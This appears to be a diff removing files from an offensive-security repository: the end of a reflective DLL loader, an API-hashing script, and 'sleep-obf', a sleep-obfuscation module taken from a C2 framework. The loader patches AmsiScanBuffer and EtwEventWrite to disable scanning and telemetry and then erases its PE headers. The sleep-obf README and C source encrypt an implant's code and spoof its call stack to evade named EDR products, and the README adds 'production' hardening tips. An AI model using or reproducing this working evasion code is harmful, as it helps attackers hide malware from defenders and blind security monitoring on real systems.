? (IMAGE_THUNK_DATA *)(dst + imp->OriginalFirstThunk) : iat;
|
|
||||||
for (; ont->u1.AddressOfData; ont++, iat++) {
|
|
||||||
FARPROC proc;
|
|
||||||
if (IMAGE_SNAP_BY_ORDINAL(ont->u1.Ordinal))
|
|
||||||
proc = fGPA(hLib, (LPCSTR)IMAGE_ORDINAL(ont->u1.Ordinal));
|
|
||||||
else {
|
|
||||||
PIMAGE_IMPORT_BY_NAME ibn =
|
|
||||||
(PIMAGE_IMPORT_BY_NAME)(dst + (DWORD)ont->u1.AddressOfData);
|
|
||||||
proc = fGPA(hLib, (LPCSTR)ibn->Name);
|
|
||||||
}
|
|
||||||
iat->u1.Function = (ULONG_PTR)proc;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 10. per-section permissions
|
|
||||||
{
|
|
||||||
DWORD secAlign = dstNt->OptionalHeader.SectionAlignment;
|
|
||||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(dstNt);
|
|
||||||
for (WORD i = 0; i < dstNt->FileHeader.NumberOfSections; i++, sec++) {
|
|
||||||
if (!sec->VirtualAddress) continue;
|
|
||||||
// round up to section alignment
|
|
||||||
DWORD vsz = sec->Misc.VirtualSize ? sec->Misc.VirtualSize : sec->SizeOfRawData;
|
|
||||||
DWORD msz = (vsz + secAlign - 1) & ~(secAlign - 1);
|
|
||||||
if (!msz) continue;
|
|
||||||
DWORD prot = PAGE_NOACCESS, c = sec->Characteristics;
|
|
||||||
if (c & IMAGE_SCN_MEM_EXECUTE) {
|
|
||||||
if (c & IMAGE_SCN_MEM_WRITE) prot = PAGE_EXECUTE_READWRITE;
|
|
||||||
else if (c & IMAGE_SCN_MEM_READ) prot = PAGE_EXECUTE_READ;
|
|
||||||
else prot = PAGE_EXECUTE;
|
|
||||||
} else if (c & IMAGE_SCN_MEM_READ) {
|
|
||||||
prot = (c & IMAGE_SCN_MEM_WRITE) ? PAGE_READWRITE : PAGE_READONLY;
|
|
||||||
} else if (c & IMAGE_SCN_MEM_WRITE) {
|
|
||||||
prot = PAGE_WRITECOPY;
|
|
||||||
}
|
|
||||||
if (ssn_protect != 0xFFFF) {
|
|
||||||
PVOID addr = (PVOID)(dst + sec->VirtualAddress);
|
|
||||||
SIZE_T sz = (SIZE_T)msz;
|
|
||||||
ULONG old = 0;
|
|
||||||
_hg_ssn = ssn_protect;
|
|
||||||
((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, prot, &old);
|
|
||||||
} else if (fVP) {
|
|
||||||
DWORD old;
|
|
||||||
fVP((LPVOID)(dst + sec->VirtualAddress), msz, prot, &old);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 11. register .pdata for x64 SEH
|
|
||||||
if (fRAFT) {
|
|
||||||
DWORD pdRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
|
|
||||||
DWORD pdSz = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
|
|
||||||
if (pdRva && pdSz)
|
|
||||||
fRAFT((PRUNTIME_FUNCTION)(dst + pdRva), pdSz / sizeof(RUNTIME_FUNCTION), (DWORD64)dst);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 11b. init __security_cookie - /GS DLLs crash at function return without this
|
|
||||||
{
|
|
||||||
DWORD lcRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress;
|
|
||||||
if (lcRva) {
|
|
||||||
PIMAGE_LOAD_CONFIG_DIRECTORY64 lc = (PIMAGE_LOAD_CONFIG_DIRECTORY64)(dst + lcRva);
|
|
||||||
if (lc->Size >= (DWORD)((ULONG_PTR)&lc->SecurityCookie - (ULONG_PTR)lc + sizeof(lc->SecurityCookie))
|
|
||||||
&& lc->SecurityCookie) {
|
|
||||||
ULONG_PTR *ck = (ULONG_PTR *)lc->SecurityCookie;
|
|
||||||
ULONG_PTR seed = (ULONG_PTR)ck ^ (ULONG_PTR)dst ^ (ULONG_PTR)lc;
|
|
||||||
seed ^= (seed >> 16) ^ (seed << 13);
|
|
||||||
if (!seed || seed == 0x00002B992DDFA232ULL) seed ^= 0xFACEB00CFACEB00CULL;
|
|
||||||
*ck = seed;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 12. AMSI
|
|
||||||
if (fVP) {
|
|
||||||
HMODULE hAmsi = fLLA("amsi.dll");
|
|
||||||
if (hAmsi) {
|
|
||||||
LPVOID scan = (LPVOID)fGPA(hAmsi, "AmsiScanBuffer");
|
|
||||||
if (scan) {
|
|
||||||
DWORD old = 0;
|
|
||||||
if (fVP(scan, 3, PAGE_EXECUTE_READWRITE, &old)) {
|
|
||||||
((uint8_t *)scan)[0] = 0x31;
|
|
||||||
((uint8_t *)scan)[1] = 0xC0;
|
|
||||||
((uint8_t *)scan)[2] = 0xC3;
|
|
||||||
fVP(scan, 3, old, &old);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 13. ETW - patch EtwEventWrite: xor eax,eax; ret
|
|
||||||
if (fVP) {
|
|
||||||
ULONG_PTR etw = _rl_get_proc_h(ntdll, H_EtwEventWrite);
|
|
||||||
if (etw) {
|
|
||||||
DWORD old = 0;
|
|
||||||
if (fVP((LPVOID)etw, 3, PAGE_EXECUTE_READWRITE, &old)) {
|
|
||||||
((uint8_t *)etw)[0] = 0x31;
|
|
||||||
((uint8_t *)etw)[1] = 0xC0;
|
|
||||||
((uint8_t *)etw)[2] = 0xC3;
|
|
||||||
fVP((LPVOID)etw, 3, old, &old);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 14. TLS - alloc slot, write index, call callbacks before DllMain
|
|
||||||
{
|
|
||||||
DWORD tlsRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress;
|
|
||||||
if (tlsRva) {
|
|
||||||
PIMAGE_TLS_DIRECTORY tlsDir = (PIMAGE_TLS_DIRECTORY)(dst + tlsRva);
|
|
||||||
|
|
||||||
// alloc TLS slot
|
|
||||||
typedef DWORD (WINAPI *pTlsAlloc_t)(void);
|
|
||||||
pTlsAlloc_t fTlsAlloc = (pTlsAlloc_t)fGPA((HMODULE)k32, "TlsAlloc");
|
|
||||||
if (fTlsAlloc && tlsDir->AddressOfIndex) {
|
|
||||||
DWORD tlsIdx = fTlsAlloc();
|
|
||||||
if (tlsIdx != TLS_OUT_OF_INDEXES)
|
|
||||||
*(DWORD *)(ULONG_PTR)tlsDir->AddressOfIndex = tlsIdx;
|
|
||||||
}
|
|
||||||
|
|
||||||
// call each callback with DLL_PROCESS_ATTACH
|
|
||||||
if (tlsDir->AddressOfCallBacks) {
|
|
||||||
PIMAGE_TLS_CALLBACK *cb = (PIMAGE_TLS_CALLBACK *)(ULONG_PTR)tlsDir->AddressOfCallBacks;
|
|
||||||
while (*cb) {
|
|
||||||
(*cb)((PVOID)dst, DLL_PROCESS_ATTACH, NULL);
|
|
||||||
cb++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 15. flush icache
|
|
||||||
if (fFIC && fGCP) fFIC(fGCP(), (LPVOID)dst, imgSz);
|
|
||||||
|
|
||||||
// 16. DllMain
|
|
||||||
pDllMain_t fDllMain = (pDllMain_t)(dst + dstNt->OptionalHeader.AddressOfEntryPoint);
|
|
||||||
fDllMain((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
|
|
||||||
|
|
||||||
// 17. erase PE headers
|
|
||||||
if (fVP || ssn_protect != 0xFFFF) {
|
|
||||||
if (ssn_protect != 0xFFFF) {
|
|
||||||
PVOID addr = (PVOID)dst;
|
|
||||||
SIZE_T sz = (SIZE_T)hdrSz;
|
|
||||||
ULONG old = 0;
|
|
||||||
_hg_ssn = ssn_protect;
|
|
||||||
((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, PAGE_READWRITE, &old);
|
|
||||||
} else {
|
|
||||||
DWORD old;
|
|
||||||
fVP((LPVOID)dst, hdrSz, PAGE_READWRITE, &old);
|
|
||||||
}
|
|
||||||
|
|
||||||
volatile uint8_t *p = (volatile uint8_t *)dst;
|
|
||||||
for (DWORD i = 0; i < hdrSz; i++) p[i] = 0;
|
|
||||||
if (ssn_protect != 0xFFFF) {
|
|
||||||
PVOID addr = (PVOID)dst;
|
|
||||||
SIZE_T sz = (SIZE_T)hdrSz;
|
|
||||||
ULONG old = 0;
|
|
||||||
_hg_ssn = ssn_protect;
|
|
||||||
((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, PAGE_READONLY, &old);
|
|
||||||
} else {
|
|
||||||
DWORD old;
|
|
||||||
fVP((LPVOID)dst, hdrSz, PAGE_READONLY, &old);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return dst;
|
|
||||||
}
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
def rl_hash(s):
|
|
||||||
h = 0
|
|
||||||
for c in s.upper():
|
|
||||||
h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
|
|
||||||
h = (h + ord(c)) & 0xFFFFFFFF
|
|
||||||
return h
|
|
||||||
|
|
||||||
apis = [
|
|
||||||
'kernel32.dll',
|
|
||||||
'LoadLibraryA',
|
|
||||||
'GetProcAddress',
|
|
||||||
'VirtualAlloc',
|
|
||||||
'VirtualProtect',
|
|
||||||
'FlushInstructionCache',
|
|
||||||
'GetCurrentProcess',
|
|
||||||
]
|
|
||||||
|
|
||||||
for a in apis:
|
|
||||||
key = a.replace('.', '_')
|
|
||||||
print('#define HASH_%-30s 0x%08XULL // %s' % (key, rl_hash(a), a))
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
CC = x86_64-w64-mingw32-gcc
|
|
||||||
CFLAGS = -O2 -Wall -Wextra \
|
|
||||||
-Iinclude \
|
|
||||||
-masm=att \
|
|
||||||
-fno-asynchronous-unwind-tables \
|
|
||||||
-fno-ident \
|
|
||||||
-fno-stack-protector
|
|
||||||
LDFLAGS = -lbcrypt -lntdll
|
|
||||||
|
|
||||||
SRC = src/sleep_obf.c src/demo.c
|
|
||||||
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
|
|
||||||
TARGET = build/demo.exe
|
|
||||||
|
|
||||||
all: build $(TARGET)
|
|
||||||
|
|
||||||
build:
|
|
||||||
mkdir -p build
|
|
||||||
|
|
||||||
build/%.o: src/%.c
|
|
||||||
$(CC) $(CFLAGS) -c $< -o $@
|
|
||||||
|
|
||||||
$(TARGET): $(OBJ)
|
|
||||||
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
|
|
||||||
|
|
||||||
clean:
|
|
||||||
rm -rf build
|
|
||||||
|
|
||||||
.PHONY: all clean
|
|
||||||
@@ -1,117 +0,0 @@
|
|||||||
# sleep-obf
|
|
||||||
|
|
||||||
Encrypted sleep obfuscation for Windows x64 implants.
|
|
||||||
|
|
||||||
Encrypts the calling module's `.text` section with a `BCryptGenRandom` key, marks it `PAGE_NOACCESS`, pivots to a fake thread context waiting on `NtWaitForSingleObject`, and decrypts on wakeup. Stack scan during sleep shows a legitimate `NtWaitForSingleObject` call chain, not your implant.
|
|
||||||
|
|
||||||
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## How it works
|
|
||||||
|
|
||||||
```
|
|
||||||
RtlCaptureContext() <- save real context (RIP points back here)
|
|
||||||
|
|
|
||||||
v
|
|
||||||
CreateThread(_timer_thread) <- fires Sleep(ms) then SetEvent(done)
|
|
||||||
|
|
|
||||||
v
|
|
||||||
XOR .text with 32-byte BCryptGenRandom key
|
|
||||||
VirtualProtect .text -> PAGE_NOACCESS
|
|
||||||
Rewrite TEB StackBase/StackLimit -> fake stack
|
|
||||||
|
|
|
||||||
v
|
|
||||||
NtContinue(fake_ctx) <- pivot: RIP=NtWaitForSingleObject, RSP=fake_stack
|
|
||||||
| stack now shows: NtWait -> RtlUserThreadStart+0x10
|
|
||||||
v
|
|
||||||
[EVENT FIRES after ms]
|
|
||||||
|
|
|
||||||
v
|
|
||||||
_sleep_trampoline() <- on fake stack, called as return from NtWait
|
|
||||||
|
|
|
||||||
v
|
|
||||||
XOR .text again (decrypt)
|
|
||||||
VirtualProtect .text -> PAGE_EXECUTE_READ
|
|
||||||
Restore TEB stack bounds
|
|
||||||
NtContinue(real_ctx) <- resume exactly where RtlCaptureContext was called
|
|
||||||
```
|
|
||||||
|
|
||||||
Key properties:
|
|
||||||
|
|
||||||
- **Fake call stack**: during sleep, the thread stack shows `NtWaitForSingleObject` called from `RtlUserThreadStart+0x10`. No implant frames visible.
|
|
||||||
- **TEB stack bounds rewritten**: `StackBase`/`StackLimit` in the TEB point to the fake stack so ETW stack walks stay within valid bounds.
|
|
||||||
- **Timer thread in `.run` section**: timer thread code and trampoline are in a separate `.run` section, not `.text`. They keep executing while `.text` is `NOACCESS`.
|
|
||||||
- **No IAT thunks in critical path**: `VirtualProtect`, `Sleep`, `SetEvent` are resolved to direct function addresses and stored in `obf_ctx_t`. IAT thunks live in `.text` and would fault if called during sleep.
|
|
||||||
- **NtProtectVirtualMemory** is used instead of `VirtualProtect` to protect the protect call itself from userland hooks.
|
|
||||||
- **ACG fallback**: if the permission round-trip fails (e.g. ACG-enforced process), falls back to plain `Sleep()`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Usage
|
|
||||||
|
|
||||||
```c
|
|
||||||
#include "sleep_obf.h"
|
|
||||||
|
|
||||||
// basic usage
|
|
||||||
sleep_obf(5000); // sleep 5 seconds with .text encrypted
|
|
||||||
|
|
||||||
// optional: hook to arm ETW/AMSI hardware breakpoints on the timer thread
|
|
||||||
// (implement your own or use the hwbp-evasion technique)
|
|
||||||
g_sleep_obf_thread_hook = my_hwbp_arm_fn;
|
|
||||||
sleep_obf(5000);
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Build
|
|
||||||
|
|
||||||
Requires MinGW-w64 cross-compiler.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
make
|
|
||||||
./build/demo.exe
|
|
||||||
```
|
|
||||||
|
|
||||||
On a Windows host with MSVC, adjust `CC`, link `bcrypt.lib` and `ntdll.lib`.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Limitations
|
|
||||||
|
|
||||||
- x64 only.
|
|
||||||
- Requires the calling module to have a `.text` section (standard for PE files).
|
|
||||||
- Does not survive process suspension during the encryption window (between `CreateThread` and `NtContinue`) — this window is a few microseconds.
|
|
||||||
- DLLs with `DLL_THREAD_ATTACH` callbacks that touch `.text` will fault during timer thread creation if `.text` is already encrypted. The implementation creates the thread **before** encrypting to avoid this.
|
|
||||||
|
|
||||||
### Kernel-mode AV (Kaspersky, ESET, etc.)
|
|
||||||
|
|
||||||
Some AV products (notably Kaspersky Total Security / KAV) use kernel-mode callbacks that intercept `NtProtectVirtualMemory` calls targeting the process's own `.text` section. When detected, they terminate the thread via a kernel APC before the syscall returns. **No userland exception handler (VEH, SEH) can catch this** — the VEH is never invoked.
|
|
||||||
|
|
||||||
The implementation handles this gracefully: the permission round-trip test (`PAGE_READWRITE` → restore) catches the failure and falls back to plain `Sleep()` before any encryption is attempted. The setjmp/VEH in `_nt_prot` catches the exception on products that raise it (Defender, etc.); for products that issue a kernel APC (Kaspersky), the fallback relies on a clean thread termination message in the OS.
|
|
||||||
|
|
||||||
**Testing**: run in a VM without AV, or with AV excluded/disabled, to observe the full sleep obfuscation behavior. The technique is effective against userland-hook-based EDRs (Microsoft Defender, CrowdStrike Falcon in standard config, SentinelOne in detect-only mode).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Operational notes
|
|
||||||
|
|
||||||
This PoC uses `GetModuleHandleA`/`GetProcAddress` with plaintext strings. In production:
|
|
||||||
|
|
||||||
- Replace with a PEB walk (`__readgsqword(0x60)`) to resolve modules without touching the IAT or leaving strings in `.rdata`.
|
|
||||||
- Encrypt sensitive string literals (see EVS XOR in KHAOS C2).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Credits
|
|
||||||
|
|
||||||
Technique originally described by [Ekko](https://github.com/Cracked5pider/Ekko) (Cracked5pider). This implementation extends it with:
|
|
||||||
|
|
||||||
- `NtProtectVirtualMemory` instead of `VirtualProtect` for the permission flip
|
|
||||||
- TEB `StackBase`/`StackLimit` rewrite for ETW stack walk validity
|
|
||||||
- Fallback path for ACG-enforced environments
|
|
||||||
- Thread hook integration point for HWBP-based ETW/AMSI bypass
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Optional hook called with the timer thread handle before .text is encrypted.
|
|
||||||
* Use to arm hardware breakpoints (ETW/AMSI bypass) on the timer thread.
|
|
||||||
* Set to NULL if not needed.
|
|
||||||
*/
|
|
||||||
typedef void (*sleep_obf_thread_hook_t)(HANDLE hThread);
|
|
||||||
extern sleep_obf_thread_hook_t g_sleep_obf_thread_hook;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* sleep_obf() — encrypted sleep
|
|
||||||
*
|
|
||||||
* Encrypts the calling module's .text section with a BCryptGenRandom key,
|
|
||||||
* marks it PAGE_NOACCESS, switches to a fake thread context pointing to
|
|
||||||
* NtWaitForSingleObject on a fake stack, and restores state on wakeup.
|
|
||||||
*
|
|
||||||
* Falls back to plain Sleep() if any setup step fails (ACG, section not
|
|
||||||
* found, allocation failure).
|
|
||||||
*/
|
|
||||||
void sleep_obf(DWORD ms);
|
|
||||||
@@ -1,26 +0,0 @@
|
|||||||
#include "sleep_obf.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
int main(void)
|
|
||||||
{
|
|
||||||
printf("[*] starting — sleeping 5 seconds with .text obfuscation\n");
|
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
sleep_obf(5000);
|
|
||||||
|
|
||||||
printf("[+] woke up — .text restored, execution resumed\n");
|
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
/* loop to show repeated sleeps work */
|
|
||||||
for (int i = 0; i < 3; i++) {
|
|
||||||
printf("[*] loop %d — sleeping 2 seconds\n", i + 1);
|
|
||||||
fflush(stdout);
|
|
||||||
sleep_obf(2000);
|
|
||||||
printf("[+] loop %d — resumed\n", i + 1);
|
|
||||||
fflush(stdout);
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("[+] done\n");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,323 +0,0 @@
|
|||||||
#include "sleep_obf.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <bcrypt.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <setjmp.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* PoC note: this file uses GetModuleHandleA/GetProcAddress for simplicity.
|
|
||||||
* In production, replace with a PEB walk to keep these strings off the IAT
|
|
||||||
* and out of .rdata. See agent/src/evasion/evasion.c in KHAOS C2 for the
|
|
||||||
* hardened version.
|
|
||||||
*/
|
|
||||||
|
|
||||||
sleep_obf_thread_hook_t g_sleep_obf_thread_hook = NULL;
|
|
||||||
|
|
||||||
typedef NTSTATUS (NTAPI *NtContinue_t) (PCONTEXT, BOOLEAN);
|
|
||||||
typedef NTSTATUS (NTAPI *NtWait_t) (HANDLE, BOOLEAN, PLARGE_INTEGER);
|
|
||||||
typedef VOID (NTAPI *RtlCaptureContext_t) (PCONTEXT);
|
|
||||||
typedef BOOL (WINAPI *VirtualProtect_t) (LPVOID, SIZE_T, DWORD, PDWORD);
|
|
||||||
typedef void (WINAPI *Sleep_t) (DWORD);
|
|
||||||
typedef BOOL (WINAPI *SetEvent_t) (HANDLE);
|
|
||||||
typedef NTSTATUS (NTAPI *NtProtectVM_t) (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
|
|
||||||
|
|
||||||
#define FAKE_STACK_SZ 0x10000
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
LPVOID text_base;
|
|
||||||
SIZE_T text_size;
|
|
||||||
BYTE key[32];
|
|
||||||
DWORD sleep_ms;
|
|
||||||
HANDLE done;
|
|
||||||
NtContinue_t ntcontinue;
|
|
||||||
LARGE_INTEGER timeout;
|
|
||||||
LPVOID fake_stack_mem;
|
|
||||||
PVOID orig_stack_base;
|
|
||||||
PVOID orig_stack_limit;
|
|
||||||
VirtualProtect_t fn_vprot;
|
|
||||||
Sleep_t fn_sleep;
|
|
||||||
SetEvent_t fn_setevent;
|
|
||||||
} obf_ctx_t;
|
|
||||||
|
|
||||||
/* NtProtectVirtualMemory wrapper — bypasses VirtualProtect hooks.
|
|
||||||
* Uses setjmp/VEH to catch exceptions injected by kernel-mode AV drivers
|
|
||||||
* (e.g. Kaspersky) that block .text permission changes at kernel level.
|
|
||||||
* On such systems the roundtrip check fails gracefully and sleep_obf
|
|
||||||
* falls back to plain Sleep(). */
|
|
||||||
static NtProtectVM_t s_ntpvm = NULL;
|
|
||||||
static jmp_buf s_prot_jmp;
|
|
||||||
static volatile LONG s_in_prot = 0;
|
|
||||||
|
|
||||||
static LONG WINAPI _prot_veh(EXCEPTION_POINTERS *ep)
|
|
||||||
{
|
|
||||||
if (!s_in_prot) return EXCEPTION_CONTINUE_SEARCH;
|
|
||||||
if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION ||
|
|
||||||
ep->ExceptionRecord->ExceptionCode == 0xC0000022) {
|
|
||||||
longjmp(s_prot_jmp, 1);
|
|
||||||
}
|
|
||||||
return EXCEPTION_CONTINUE_SEARCH;
|
|
||||||
}
|
|
||||||
|
|
||||||
static BOOL _nt_prot(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
|
|
||||||
{
|
|
||||||
if (!s_ntpvm) {
|
|
||||||
s_ntpvm = (NtProtectVM_t)(void *)GetProcAddress(
|
|
||||||
GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory");
|
|
||||||
}
|
|
||||||
if (!s_ntpvm) return FALSE;
|
|
||||||
|
|
||||||
PVOID veh = AddVectoredExceptionHandler(1, _prot_veh);
|
|
||||||
InterlockedExchange(&s_in_prot, 1);
|
|
||||||
|
|
||||||
if (setjmp(s_prot_jmp) != 0) {
|
|
||||||
/* exception caught — NtPVM blocked by kernel AV driver */
|
|
||||||
InterlockedExchange(&s_in_prot, 0);
|
|
||||||
if (veh) RemoveVectoredExceptionHandler(veh);
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
PVOID base = addr;
|
|
||||||
SIZE_T rsz = sz;
|
|
||||||
ULONG _old = 0;
|
|
||||||
NTSTATUS st = s_ntpvm((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
|
|
||||||
|
|
||||||
InterlockedExchange(&s_in_prot, 0);
|
|
||||||
if (veh) RemoveVectoredExceptionHandler(veh);
|
|
||||||
|
|
||||||
if (st != 0) return FALSE;
|
|
||||||
if (old) *old = (DWORD)_old;
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Read/write TEB fields via GS segment register */
|
|
||||||
__attribute__((section(".run")))
|
|
||||||
static inline PVOID _teb_read_ptr(DWORD64 off)
|
|
||||||
{
|
|
||||||
PVOID v;
|
|
||||||
__asm__ __volatile__("movq %%gs:(%1), %0" : "=r"(v) : "r"(off));
|
|
||||||
return v;
|
|
||||||
}
|
|
||||||
|
|
||||||
__attribute__((section(".run")))
|
|
||||||
static inline void _teb_write_ptr(DWORD64 off, PVOID val)
|
|
||||||
{
|
|
||||||
__asm__ __volatile__("movq %0, %%gs:(%1)" :: "r"(val), "r"(off) : "memory");
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Globals shared between main thread and trampoline */
|
|
||||||
static CONTEXT s_saved_ctx = {0};
|
|
||||||
static obf_ctx_t *s_obf_ctx = NULL;
|
|
||||||
static volatile LONG s_restore = 0;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Timer thread: lives entirely in .run so it keeps executing while .text
|
|
||||||
* is PAGE_NOACCESS. Uses direct function pointers stored in obf_ctx_t, not
|
|
||||||
* IAT thunks (which sit in .text and would fault on access).
|
|
||||||
*/
|
|
||||||
__attribute__((section(".run"), noinline))
|
|
||||||
static DWORD WINAPI _timer_thread(LPVOID arg)
|
|
||||||
{
|
|
||||||
obf_ctx_t *c = (obf_ctx_t *)arg;
|
|
||||||
c->fn_sleep(c->sleep_ms);
|
|
||||||
c->fn_setevent(c->done);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Wakeup trampoline: called when NtWaitForSingleObject returns via the fake
|
|
||||||
* stack. Decrypts .text, restores TEB stack bounds, and resumes via NtContinue
|
|
||||||
* with the real saved context.
|
|
||||||
*/
|
|
||||||
__attribute__((section(".run"), noinline))
|
|
||||||
static void _sleep_trampoline(void)
|
|
||||||
{
|
|
||||||
obf_ctx_t *c = s_obf_ctx;
|
|
||||||
BYTE *p = (BYTE *)c->text_base;
|
|
||||||
SIZE_T n = c->text_size;
|
|
||||||
DWORD old;
|
|
||||||
|
|
||||||
c->fn_vprot(p, n, PAGE_READWRITE, &old);
|
|
||||||
for (SIZE_T i = 0; i < n; i++) p[i] ^= c->key[i & 31];
|
|
||||||
if (!c->fn_vprot(p, n, PAGE_EXECUTE_READ, &old))
|
|
||||||
c->fn_vprot(p, n, PAGE_EXECUTE_READWRITE, &old);
|
|
||||||
|
|
||||||
_teb_write_ptr(0x08, c->orig_stack_base);
|
|
||||||
_teb_write_ptr(0x10, c->orig_stack_limit);
|
|
||||||
|
|
||||||
c->ntcontinue(&s_saved_ctx, FALSE);
|
|
||||||
__builtin_unreachable();
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Encrypt .text, mark PAGE_NOACCESS, rewrite TEB stack bounds to the fake
|
|
||||||
* stack, then pivot to NtWaitForSingleObject via NtContinue. Never returns.
|
|
||||||
*/
|
|
||||||
__attribute__((section(".run"), noinline))
|
|
||||||
static void _obf_sleep_tail(obf_ctx_t *ctx, CONTEXT *fake_ctx_ptr)
|
|
||||||
{
|
|
||||||
BYTE *p = (BYTE *)ctx->text_base;
|
|
||||||
SIZE_T n = ctx->text_size;
|
|
||||||
DWORD old;
|
|
||||||
|
|
||||||
for (SIZE_T i = 0; i < n; i++) p[i] ^= ctx->key[i & 31];
|
|
||||||
ctx->fn_vprot(p, n, PAGE_NOACCESS, &old);
|
|
||||||
|
|
||||||
_teb_write_ptr(0x08, (PVOID)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ));
|
|
||||||
_teb_write_ptr(0x10, ctx->fake_stack_mem);
|
|
||||||
|
|
||||||
ctx->ntcontinue(fake_ctx_ptr, FALSE);
|
|
||||||
__builtin_unreachable();
|
|
||||||
}
|
|
||||||
|
|
||||||
/* PE header walk to find own .text section */
|
|
||||||
static void _find_section(const char *name, LPVOID *base, SIZE_T *sz)
|
|
||||||
{
|
|
||||||
*base = NULL; *sz = 0;
|
|
||||||
BYTE *img = (BYTE *)GetModuleHandleA(NULL);
|
|
||||||
if (!img) return;
|
|
||||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)img;
|
|
||||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return;
|
|
||||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(img + dos->e_lfanew);
|
|
||||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return;
|
|
||||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
|
||||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
|
|
||||||
int ok = 1;
|
|
||||||
for (int j = 0; j < 8; j++) {
|
|
||||||
char c = name[j];
|
|
||||||
if (sec->Name[j] != (unsigned char)c) { ok = 0; break; }
|
|
||||||
if (!c) break;
|
|
||||||
}
|
|
||||||
if (ok) {
|
|
||||||
*base = img + sec->VirtualAddress;
|
|
||||||
*sz = sec->Misc.VirtualSize;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sleep_obf(DWORD ms)
|
|
||||||
{
|
|
||||||
LPVOID text_base = NULL;
|
|
||||||
SIZE_T text_size = 0;
|
|
||||||
_find_section(".text", &text_base, &text_size);
|
|
||||||
if (!text_base || !text_size) { Sleep(ms); return; }
|
|
||||||
|
|
||||||
HMODULE hntdll = GetModuleHandleA("ntdll.dll");
|
|
||||||
HMODULE hk32 = GetModuleHandleA("kernel32.dll");
|
|
||||||
if (!hntdll || !hk32) { Sleep(ms); return; }
|
|
||||||
|
|
||||||
NtContinue_t fn_cont = (NtContinue_t) GetProcAddress(hntdll, "NtContinue");
|
|
||||||
NtWait_t fn_wait = (NtWait_t) GetProcAddress(hntdll, "NtWaitForSingleObject");
|
|
||||||
